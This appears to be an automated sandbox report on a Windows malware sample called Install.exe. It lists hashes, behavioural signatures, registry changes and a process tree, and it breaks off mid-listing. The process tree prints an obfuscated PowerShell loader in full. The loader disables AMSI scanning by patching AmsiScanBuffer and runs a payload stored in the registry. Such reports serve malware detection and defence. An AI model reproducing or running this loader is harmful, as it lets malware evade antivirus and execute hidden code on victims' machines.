b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

Analysis

max time kernel
300s
max time network
203s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
20/07/2024, 13:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Install.exe
Size

163KB
MD5

1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1

2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512

859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP

3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3900 created 628	3900	powershell.EXE	5

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3900 set thread context of 3456	3900	powershell.EXE	84

Modifies data under HKEY_USERS 56 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 20 Jul 2024 13:20:56 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1721481655"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={C1630E61-E83D-4A6E-ADC4-C3C601487F88}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3900	powershell.EXE
3900	powershell.EXE
3900	powershell.EXE
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe
3456	dllhost.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
4436	Process not Found
996	Process not Found
1188	Process not Found
3884	Process not Found
4936	Process not Found
384	Process not Found
132	Process not Found
2156	Process not Found
1844	Process not Found
836	Process not Found
3668	Process not Found
736	Process not Found
2392	Process not Found
3608	Process not Found
3460	Process not Found
632	Process not Found
3852	Process not Found
2136	Process not Found
1300	Process not Found
1480	Process not Found
1136	Process not Found
1264	Process not Found
436	Process not Found
1348	Process not Found
2860	Process not Found
1816	Process not Found
3112	Process not Found
780	Process not Found
2092	Process not Found
4112	Process not Found
864	Process not Found
872	Process not Found
4616	Process not Found
2652	Process not Found
1752	Process not Found
3092	Process not Found
1656	Process not Found
2552	Process not Found
4300	Process not Found
4360	Process not Found
3380	Process not Found
3684	Process not Found
3252	Process not Found
5076	Process not Found
1904	Process not Found
2632	Process not Found
1140	Process not Found
1924	Process not Found
4852	Process not Found
1376	Process not Found
3936	Process not Found
4964	Process not Found
3568	Process not Found
3896	Process not Found
1124	Process not Found
3548	Process not Found
1320	Process not Found
2208	Process not Found
1620	Process not Found
3160	Process not Found
1336	Process not Found
3468	Process not Found
1732	Process not Found
4520	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3900	powershell.EXE
Token: SeDebugPrivilege	3900	powershell.EXE
Token: SeDebugPrivilege	3456	dllhost.exe
Token: SeShutdownPrivilege	3284	Explorer.EXE
Token: SeCreatePagefilePrivilege	3284	Explorer.EXE
Token: SeShutdownPrivilege	3284	Explorer.EXE
Token: SeCreatePagefilePrivilege	3284	Explorer.EXE
Token: SeShutdownPrivilege	3284	Explorer.EXE
Token: SeCreatePagefilePrivilege	3284	Explorer.EXE
Token: SeShutdownPrivilege	3284	Explorer.EXE
Token: SeCreatePagefilePrivilege	3284	Explorer.EXE
Token: SeShutdownPrivilege	3284	Explorer.EXE
Token: SeCreatePagefilePrivilege	3284	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 3456	3900	powershell.EXE	84
PID 3900 wrote to memory of 3456	3900	powershell.EXE	84
PID 3900 wrote to memory of 3456	3900	powershell.EXE	84
PID 3900 wrote to memory of 3456	3900	powershell.EXE	84
PID 3900 wrote to memory of 3456	3900	powershell.EXE	84
PID 3900 wrote to memory of 3456	3900	powershell.EXE	84
PID 3900 wrote to memory of 3456	3900	powershell.EXE	84
PID 3900 wrote to memory of 3456	3900	powershell.EXE	84
PID 3456 wrote to memory of 628	3456	dllhost.exe	5
PID 3456 wrote to memory of 684	3456	dllhost.exe	7
PID 3456 wrote to memory of 984	3456	dllhost.exe	12
PID 3456 wrote to memory of 388	3456	dllhost.exe	13
PID 3456 wrote to memory of 744	3456	dllhost.exe	14
PID 684 wrote to memory of 2664	684	lsass.exe	45
PID 3456 wrote to memory of 980	3456	dllhost.exe	15
PID 3456 wrote to memory of 1052	3456	dllhost.exe	16
PID 3456 wrote to memory of 1064	3456	dllhost.exe	17
PID 3456 wrote to memory of 1152	3456	dllhost.exe	19
PID 3456 wrote to memory of 1236	3456	dllhost.exe	20
PID 3456 wrote to memory of 1244	3456	dllhost.exe	21
PID 3456 wrote to memory of 1304	3456	dllhost.exe	22
PID 3456 wrote to memory of 1368	3456	dllhost.exe	23
PID 3456 wrote to memory of 1432	3456	dllhost.exe	24
PID 3456 wrote to memory of 1472	3456	dllhost.exe	25
PID 3456 wrote to memory of 1552	3456	dllhost.exe	26
PID 3456 wrote to memory of 1572	3456	dllhost.exe	27
PID 3456 wrote to memory of 1704	3456	dllhost.exe	28
PID 3456 wrote to memory of 1720	3456	dllhost.exe	29
PID 3456 wrote to memory of 1760	3456	dllhost.exe	30
PID 3456 wrote to memory of 1828	3456	dllhost.exe	31
PID 3456 wrote to memory of 1892	3456	dllhost.exe	32
PID 3456 wrote to memory of 2000	3456	dllhost.exe	33
PID 3456 wrote to memory of 2016	3456	dllhost.exe	34
PID 3456 wrote to memory of 1964	3456	dllhost.exe	35
PID 3456 wrote to memory of 2040	3456	dllhost.exe	36
PID 3456 wrote to memory of 2160	3456	dllhost.exe	37
PID 3456 wrote to memory of 2272	3456	dllhost.exe	39
PID 684 wrote to memory of 2664	684	lsass.exe	45
PID 3456 wrote to memory of 2356	3456	dllhost.exe	40
PID 3456 wrote to memory of 2500	3456	dllhost.exe	41
PID 3456 wrote to memory of 2508	3456	dllhost.exe	42
PID 1472 wrote to memory of 1208	1472	svchost.exe	89
PID 1472 wrote to memory of 1208	1472	svchost.exe	89
PID 684 wrote to memory of 2664	684	lsass.exe	45
PID 3456 wrote to memory of 1208	3456	dllhost.exe	89
PID 3456 wrote to memory of 2540	3456	dllhost.exe	43
PID 3456 wrote to memory of 2644	3456	dllhost.exe	44
PID 684 wrote to memory of 2664	684	lsass.exe	45
PID 1472 wrote to memory of 1128	1472	svchost.exe	90
PID 1472 wrote to memory of 1128	1472	svchost.exe	90
PID 3456 wrote to memory of 1128	3456	dllhost.exe	90
PID 3456 wrote to memory of 2664	3456	dllhost.exe	45
PID 3456 wrote to memory of 2676	3456	dllhost.exe	46
PID 1472 wrote to memory of 2728	1472	svchost.exe	91
PID 1472 wrote to memory of 2728	1472	svchost.exe	91
PID 3456 wrote to memory of 2728	3456	dllhost.exe	91
PID 3456 wrote to memory of 2684	3456	dllhost.exe	47
PID 684 wrote to memory of 2664	684	lsass.exe	45
PID 3456 wrote to memory of 2692	3456	dllhost.exe	48
PID 1472 wrote to memory of 5000	1472	svchost.exe	92
PID 1472 wrote to memory of 5000	1472	svchost.exe	92
PID 3456 wrote to memory of 5000	3456	dllhost.exe	92
PID 684 wrote to memory of 2664	684	lsass.exe	45
PID 3456 wrote to memory of 3028	3456	dllhost.exe	50

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:388
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{de1ff03d-839e-4db6-ade6-f9547c34a164}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3456

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hujROcewcSiB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fprdToNKcfQOlt,[Parameter(Position=1)][Type]$jubcOvNTHm)$bmLokWHoCuJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+'o'+'r'+[Char](121)+''+'M'+''+'o'+''+[Char](100)+'u'+'l'+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+''+'t'+''+[Char](101)+'T'+[Char](121)+'p'+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+'P'+'u'+'b'+'lic'+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'An'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+'as'+'s'+',A'+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$bmLokWHoCuJ.DefineConstructor('R'+'T'+''+[Char](83)+''+'p'+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$fprdToNKcfQOlt).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+'nage'+[Char](100)+'');$bmLokWHoCuJ.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+'ok'+[Char](101)+'',''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+[Char](116)+',V'+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+'l',$jubcOvNTHm,$fprdToNKcfQOlt).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $bmLokWHoCuJ.CreateType();}$AqtQmoUgNHrcg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dll')}).GetType('M'+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+'s'+'o'+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+'N'+[Char](97)+'tiv'+'e'+''+'M'+''+'e'+''+'t'+'ho'+[Char](100)+''+[Char](115)+'');$MQGxguWVBjqLAV=$AqtQmoUgNHrcg.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+'Add'+[Char](114)+''+'e'+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+'ti'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$clsXUROqGIBsYswbHLK=hujROcewcSiB @([String])([IntPtr]);$RpIIafZBelumnQpVWGDXxI=hujROcewcSiB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$udyDyMaCojR=$AqtQmoUgNHrcg.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+'n'+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+'e'+[Char](108)+'32.dll')));$LjmsPIBwJbHhSZ=$MQGxguWVBjqLAV.Invoke($Null,@([Object]$udyDyMaCojR,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+'r'+''+'y'+'A')));$ukQQuchwrnerjZmSa=$MQGxguWVBjqLAV.Invoke($Null,@([Object]$udyDyMaCojR,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'Pr'+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$RDQrFBw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LjmsPIBwJbHhSZ,$clsXUROqGIBsYswbHLK).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+'d'+[Char](108)+'l');$NDlkbIMMacGVQsZvF=$MQGxguWVBjqLAV.Invoke($Null,@([Object]$RDQrFBw,[Object]('A'+[Char](109)+'s'+[Char](105)+'Sc'+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$QxZsfnXTUk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ukQQuchwrnerjZmSa,$RpIIafZBelumnQpVWGDXxI).Invoke($NDlkbIMMacGVQsZvF,[uint32]8,4,[ref]$QxZsfnXTUk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NDlkbIMMacGVQsZvF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ukQQuchwrnerjZmSa,$RpIIafZBelumnQpVWGDXxI).Invoke($NDlkbIMMacGVQsZvF,[uint32]8,0x20,[ref]$QxZsfnXTUk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+[Char](82)+'E').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
- Suspicious use of WriteProcessMemory
PID:1472
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1208
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1128
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2728
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:5000
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3852
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2040

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2272

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2540

C:\Windows\system32\svchost.exe
